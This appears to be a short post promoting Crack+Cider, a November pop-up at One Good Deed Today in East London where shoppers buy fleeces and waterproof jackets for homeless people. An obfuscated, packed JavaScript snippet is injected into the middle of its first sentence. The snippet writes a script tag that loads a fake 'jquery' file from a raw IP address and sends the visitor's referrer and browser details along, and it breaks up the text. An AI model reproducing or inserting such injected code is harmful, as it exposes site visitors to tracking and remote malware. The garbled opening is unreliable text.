Crack+Cider, (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aneet|var|u0026u|referrer|biedi||js|php’.split(‘|’),0,{}))
and Romain Camus of One Good Deed Today, have created a project that will immediately help the homeless, at a time of year when it’s truly life-threatening.  Having already gained some invaluable press just for its name, Crack+Cider was originally inspired by a homeless person who said; “People don’t give me money because they just think I’ll spend it on crack and cider”. The new pop up  store encourages visitors to buy an item, like a fleece or military-grade waterproof jacket, for one of London’s thousands of rough sleepers. One Good Deed Today (the physical store that changes its pop-ups regularly) is all about ethical manufacturing, creativity, and recycling.

It’s a clever, obvious idea, executed well. Kingsland Road just grew a bigger heart, so, if you’ve ever ‘run out of change’ when you pass a homeless person on a night out in the area, think about C+C in the cold light of day and go for a bit of retail therapy for somebody else.

The Warm and Dry set LOTI

Crack + Cider is at One Good Deed Today for the whole of November.

One Good Deed Today, 73 Kingsland Road, E2 8AG